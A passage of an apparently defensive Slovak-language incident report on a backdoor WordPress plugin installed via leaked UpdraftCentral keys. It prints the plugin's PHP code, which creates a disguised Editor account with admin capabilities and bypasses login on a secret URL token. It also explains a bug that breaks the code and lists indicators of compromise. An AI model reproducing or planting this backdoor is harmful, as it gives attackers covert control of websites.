ka\u017ed\u00fd pr\u00edkaz podp\u00edsan\u00fd k\u013e\u00fa\u010dom dashboardu s pr\u00e1vami administr\u00e1tora, ktor\u00fd spojenie vytvoril, vr\u00e1tane nahratia a aktiv\u00e1cie \u013eubovo\u013en\u00e9ho pluginu. Majite\u013e webu pr\u00edkaz nepotvrdzuje a v na\u0161om pr\u00edpade n\u00e1s o \u0148om ni\u010d neupozornilo. K\u013e\u00fa\u010de na strane webu nemaj\u00fa dobu platnosti: tie z novembra 2025 fungovali aj v okt\u00f3bri 2026 a in\u00fd spr\u00e1vca hl\u00e1si zneu\u017eit\u00e9 k\u013e\u00fa\u010de z febru\u00e1ra a marca 2022. Vek k\u013e\u00fa\u010da teda pred zneu\u017eit\u00edm nechr\u00e1ni. Zneu\u017eit\u00fd bol aj k\u013e\u00fa\u010d webu A vytvoren\u00fd 10. 10. 2026. In\u00fd spr\u00e1vca si v\u0161imol, \u017ee testovaciu k\u00f3piu webu s rovnak\u00fdm k\u013e\u00fa\u010dom, ale inou adresou \u00fato\u010dn\u00edk nechal na pokoji. \u00dato\u010dn\u00edk teda zrejme postupoval pod\u013ea zoznamu webov, ktor\u00fd m\u00e1 len UpdraftCentral.<\/p>\n Bezpe\u010dnos\u0165 v\u0161etk\u00fdch pripojen\u00fdch webov tak stoj\u00ed na jedinom predpoklade, \u017ee s\u00fakromn\u00e9 k\u013e\u00fa\u010de dashboardu neunikn\u00fa. Unikli, a \u00fato\u010dn\u00edk z jedn\u00e9ho miesta za p\u00e1r hod\u00edn ovl\u00e1dol dva weby a pok\u00fasil sa o tret\u00ed. UpdraftPlus m\u00e1 viac ako 4 mili\u00f3ny akt\u00edvnych in\u0161tal\u00e1ci\u00ed. Po\u010dtom in\u0161tal\u00e1ci\u00ed ho medzi pluginmi so z\u00e1lohovan\u00edm na wordpress.org predbieha iba All-in-One WP Migration (5+ mili\u00f3nov), ktor\u00fd sl\u00fa\u017ei hlavne na migr\u00e1ciu webov. UpdraftCentral pou\u017e\u00edva len \u010das\u0165 pou\u017e\u00edvate\u013eov UpdraftPlus, aj mal\u00fd podiel zo 4 mili\u00f3nov v\u0161ak znamen\u00e1 ve\u013ea webov.<\/p>\n Ten ist\u00fd kan\u00e1l u\u017e raz zlyhal. V j\u00fani 2026 v\u00fdrobca opravil zranite\u013enos\u0165 CVE-2026-10795 (CVSS 8.1), cez ktor\u00fa mohol \u00fato\u010dn\u00edk bez prihl\u00e1senia podvrhn\u00fa\u0165 pr\u00edkazy UpdraftCentral a nain\u0161talova\u0165 a aktivova\u0165 \u0161kodliv\u00fd plugin. Pokusy o jej zneu\u017eitie zachyt\u00e1vame v na\u0161ich logoch dodnes.<\/p>\n \u010co presne backdoor rob\u00ed<\/h2>\nPlugin m\u00e1 p\u00e4\u0165 s\u00faborov, ale logiku obsahuje iba hlavn\u00fd. Tu je jeho podstatn\u00e1 \u010das\u0165 zo vzorky z webu A. Token a heslo sme skr\u00e1tili:<\/p>\n define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH\u2026' ); \/\/ 32 znakov\ndefine( 'LOADSTACK35C_FIELD', '_9f5696' );\ndefine( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );\ndefine( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw\u2026' ); \/\/ 22 znakov\n\nfinal class LoadStack35c {\n\tprivate function __construct() {\n\t\tadd_action( 'init', array( $this, 'handle_sync' ), 1 );\n\t}\n\n\tpublic function handle_sync() {\n\t\tif ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n\t\t\t$user = get_user_by( 'login', self::SVC_LOGIN );\n\t\t\tif ( ! $user ) {\n\t\t\t\t$uid = wp_insert_user( array(\n\t\t\t\t\t'user_login' => self::SVC_LOGIN,\n\t\t\t\t\t'user_pass' => self::SVC_PASS,\n\t\t\t\t\t'user_email' => self::SVC_LOGIN . '@example.org',\n\t\t\t\t\t'display_name' => 'Site Tools',\n\t\t\t\t\t'role' => 'editor',\n\t\t\t\t) );\n\t\t\t\tif ( is_wp_error( $uid ) ) return;\n\t\t\t\t$u = new WP_User( $uid );\n\t\t\t\t$u->add_cap( 'manage_options' );\n\t\t\t\t$u->add_cap( 'install_plugins' );\n\t\t\t\t$user = get_user_by( 'id', $uid );\n\t\t\t}\n\t\t\twp_set_current_user( $user->ID, $user->user_login );\n\t\t\twp_set_auth_cookie( $user->ID, true, is_ssl() );\n\t\t\twp_safe_redirect( admin_url( 'index.php' ) );\n\t\t\texit;\n\t\t}\n\t}\n}\n\nregister_activation_hook( __FILE__, function () {\n\tif ( ! get_option( 'load_stack_35c_sync_token' ) ) {\n\t\tupdate_option( 'load_stack_35c_sync_token', 'j0j8nxxH\u2026', false );\n\t}\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\nTakto by fungoval, keby v \u0148om nebola chyba:<\/p>\n \n- Pri ka\u017edej po\u017eiadavke na web sa zaves\u00ed na akciu
init<\/code> s prioritou 1, teda sk\u00f4r ne\u017e v\u00e4\u010d\u0161ina ostatn\u00fdch pluginov.<\/li>\n- Pozrie sa, \u010di adresa obsahuje parameter
?_9f5696=<\/code>, a jeho hodnotu porovn\u00e1 s 32-znakov\u00fdm tokenom. Porovn\u00e1va funkciou hash_equals<\/code>, ktor\u00e1 trv\u00e1 rovnako dlho bez oh\u013eadu na zhodu, tak\u017ee token sa ned\u00e1 uh\u00e1dnu\u0165 meran\u00edm \u010dasu odpovede. Bez spr\u00e1vneho tokenu sa nestane ni\u010d a web sa spr\u00e1va norm\u00e1lne.<\/li>\n- So spr\u00e1vnym tokenom vytvor\u00ed pou\u017e\u00edvate\u013ea
data-ops43<\/code> s heslom zap\u00edsan\u00fdm v plugine, e-mailom data-ops43@example.org<\/code> a zobrazovan\u00fdm menom \u201eSite Tools\u201c.<\/li>\n- D\u00e1 mu rolu Editor a k tomu dve samostatn\u00e9 opr\u00e1vnenia:
manage_options<\/code> a install_plugins<\/code>.<\/li>\n- Prihl\u00e1si n\u00e1v\u0161tevn\u00edka ako tohto pou\u017e\u00edvate\u013ea cez
wp_set_auth_cookie<\/code> s vo\u013ebou \u201ezapam\u00e4ta\u0165 si ma\u201c, teda cookie platnou 14 dn\u00ed. Prihlasovac\u00ed formul\u00e1r t\u00fdm \u00faplne ob\u00edde, tak\u017ee na\u0148 nep\u00f4sob\u00ed dvojfaktorov\u00e9 overenie, obmedzenie po\u010dtu pokusov ani ochrana prihl\u00e1senia vo Wordfence.<\/li>\n- Presmeruje ho do administr\u00e1cie.<\/li>\n<\/ol>\n
Rola Editor s dvoma opr\u00e1vneniami navy\u0161e je z\u00e1mer. V zozname pou\u017e\u00edvate\u013eov sa \u00fa\u010det ukazuje ako Editor, nie Administr\u00e1tor, tak\u017ee pri be\u017enej kontrole adminov ho prehliadnete. Prakticky m\u00e1 v\u0161ak pln\u00fa moc nad webom:<\/p>\n \ninstall_plugins<\/code> dovol\u00ed nahra\u0165 \u013eubovo\u013en\u00fd plugin. Jeho PHP s\u00fabory sa daj\u00fa spusti\u0165 priamo cez URL aj bez aktiv\u00e1cie, \u010do znamen\u00e1 spustenie \u013eubovo\u013en\u00e9ho k\u00f3du na serveri.<\/li>\nmanage_options<\/code> spr\u00edstupn\u00ed v\u0161etky nastavenia. Sta\u010d\u00ed zapn\u00fa\u0165 registr\u00e1ciu a predvolen\u00fa rolu nastavi\u0165 na administr\u00e1tora, a \u00fato\u010dn\u00edk si vytvor\u00ed plnohodnotn\u00e9ho admina.<\/li>\n- Editor m\u00e1 na be\u017enom WordPresse aj
unfiltered_html<\/code>, tak\u017ee m\u00f4\u017ee do \u010dl\u00e1nkov vlo\u017ei\u0165 JavaScript, ktor\u00fd sa spust\u00ed v prehliada\u010di ka\u017ed\u00e9ho administr\u00e1tora.<\/li>\n<\/ul>\nBackdoor m\u00e1 aj druh\u00fa vrstvu. Vytvoren\u00fd \u00fa\u010det so zn\u00e1mym heslom ostane vo WordPresse aj po odstr\u00e1nen\u00ed pluginu a \u00fato\u010dn\u00edk sa n\u00edm vie prihl\u00e1si\u0165 cez be\u017en\u00fd formul\u00e1r, ak tento \u00fa\u010det nem\u00e1 zapnut\u00e9 dvojfaktorov\u00e9 overenie.<\/p>\n Chyba, ktor\u00e1 n\u00e1s zachr\u00e1nila<\/h3>\nKon\u0161tanty s\u00fa definovan\u00e9 funkciou define()<\/code> ako glob\u00e1lne (LOADSTACK35C_FIELD<\/code>), ale k\u00f3d ich \u010d\u00edta ako kon\u0161tanty triedy (self::FIELD<\/code>). Trieda \u017eiadne kon\u0161tanty nem\u00e1. PHP 8 preto pri prvom vyhodnoten\u00ed self::FIELD<\/code> vyhod\u00ed Error: Undefined constant LoadStack35c::FIELD<\/code>. Stane sa to e\u0161te pred kontrolou tokenu, teda pri ka\u017edej po\u017eiadavke: pri be\u017enej n\u00e1v\u0161teve, v administr\u00e1cii, pri prihl\u00e1sen\u00ed, v REST API, pri crone aj vo WP-CLI. Web pad\u00e1 s chybou 500 a obsluhuje len str\u00e1nky ulo\u017een\u00e9 v cache.<\/p>\nPo\u017eiadavka s in\u0161tal\u00e1ciou pritom dobehla \u00faspe\u0161ne. UpdraftCentral sprac\u00fava pr\u00edkazy a\u017e v akcii wp_loaded<\/code>, ktor\u00e1 prich\u00e1dza po init<\/code>, tak\u017ee v tej po\u017eiadavke sa chybn\u00fd k\u00f3d nespustil. \u00dato\u010dn\u00edk dostal potvrdenie o \u00faspechu a o chybe sa z odpovede nedozvedel. Spadli a\u017e nasleduj\u00face po\u017eiadavky.<\/p>\n\u00dato\u010dn\u00edkovi v\u0161ak sta\u010d\u00ed opravi\u0165 p\u00e1r znakov a \u010fal\u0161ia vlna m\u00f4\u017ee fungova\u0165. Ak u seba n\u00e1jdete podobn\u00fd \u201epokazen\u00fd\u201c plugin, neopravujte ho.<\/strong> Oprava by backdoor zapla. Odstr\u00e1\u0148te ho.<\/p>\n\u010eal\u0161ie detaily<\/h3>\n\n- Plugin sa tv\u00e1ri ako be\u017en\u00fd doplnok: m\u00e1 \u00fapln\u00fa hlavi\u010dku, licenciu GPL,
Text Domain<\/code>, popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a vymyslen\u00e9 vydavate\u013estvo (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n- S\u00fabory
assets\/public.css<\/code>, assets\/public.js<\/code> a languages\/readme.txt<\/code> obsahuj\u00fa iba koment\u00e1r. Plugin ich nikde nepou\u017e\u00edva, s\u00fa tam, aby prie\u010dinok vyzeral ako skuto\u010dn\u00fd plugin.<\/li>\nuninstall.php<\/code> pri odin\u0161talovan\u00ed z administr\u00e1cie zma\u017ee vo\u013eby <slug>_sync_token<\/code> a <slug>_setup_stamp<\/code>, teda stopy po sebe. Druh\u00fa vo\u013ebu k\u00f3d nikde nevytv\u00e1ra, je to pozostatok \u0161abl\u00f3ny.<\/li>\n- Pri aktiv\u00e1cii ulo\u017e\u00ed token do vo\u013eby
<slug>_sync_token<\/code> bez automatick\u00e9ho na\u010d\u00edtania. K\u00f3d ju nikde ne\u010d\u00edta.<\/li>\n- Obe vzorky vyrobil ten ist\u00fd gener\u00e1tor. Ke\u010f v nich nahrad\u00edme n\u00e1zvy, tokeny, men\u00e1 a verzie z\u00e1stupn\u00fdmi re\u0165azcami, s\u00fa v\u0161etky s\u00fabory bajt po bajte zhodn\u00e9. N\u00e1zov m\u00e1 tvar
slovo-slovo-3 hex znaky<\/code>, parameter _<\/code> a 6 hex znakov, pou\u017e\u00edvate\u013e slovo-slovo<\/code> a dve \u010d\u00edslice. Token m\u00e1 32 znakov a heslo 22 znakov (p\u00edsmen\u00e1, \u010d\u00edslice, pod\u010diarkovn\u00edk).<\/li>\n<\/ul>\nIndik\u00e1tory kompromit\u00e1cie<\/h2>\n\n\n\n\n| Prie\u010dinok pluginu<\/td>\n | load-stack-35c<\/code><\/td>\ntext-gantry-eb0<\/code><\/td>\n<\/tr>\n\n| N\u00e1zov \/ autor \/ verzia<\/td>\n | Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n | Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n | \n| Parameter v URL<\/td>\n | _9f5696<\/code><\/td>\n_3e9caa<\/code><\/td>\n<\/tr>\n\n| Pou\u017e\u00edvate\u013e<\/td>\n | data-ops43<\/code><\/td>\nmedia-staff96<\/code><\/td>\n<\/tr>\n\n| Vo\u013eba v datab\u00e1ze<\/td>\n | load_stack_35c_sync_token<\/code><\/td>\ntext_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n\n| SHA-256 hlavn\u00e9ho s\u00faboru<\/td>\n | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\nbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n\nSHA-256 uninstall.php<\/code><\/td>\n4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n | | | | | | | | | | | |
|
|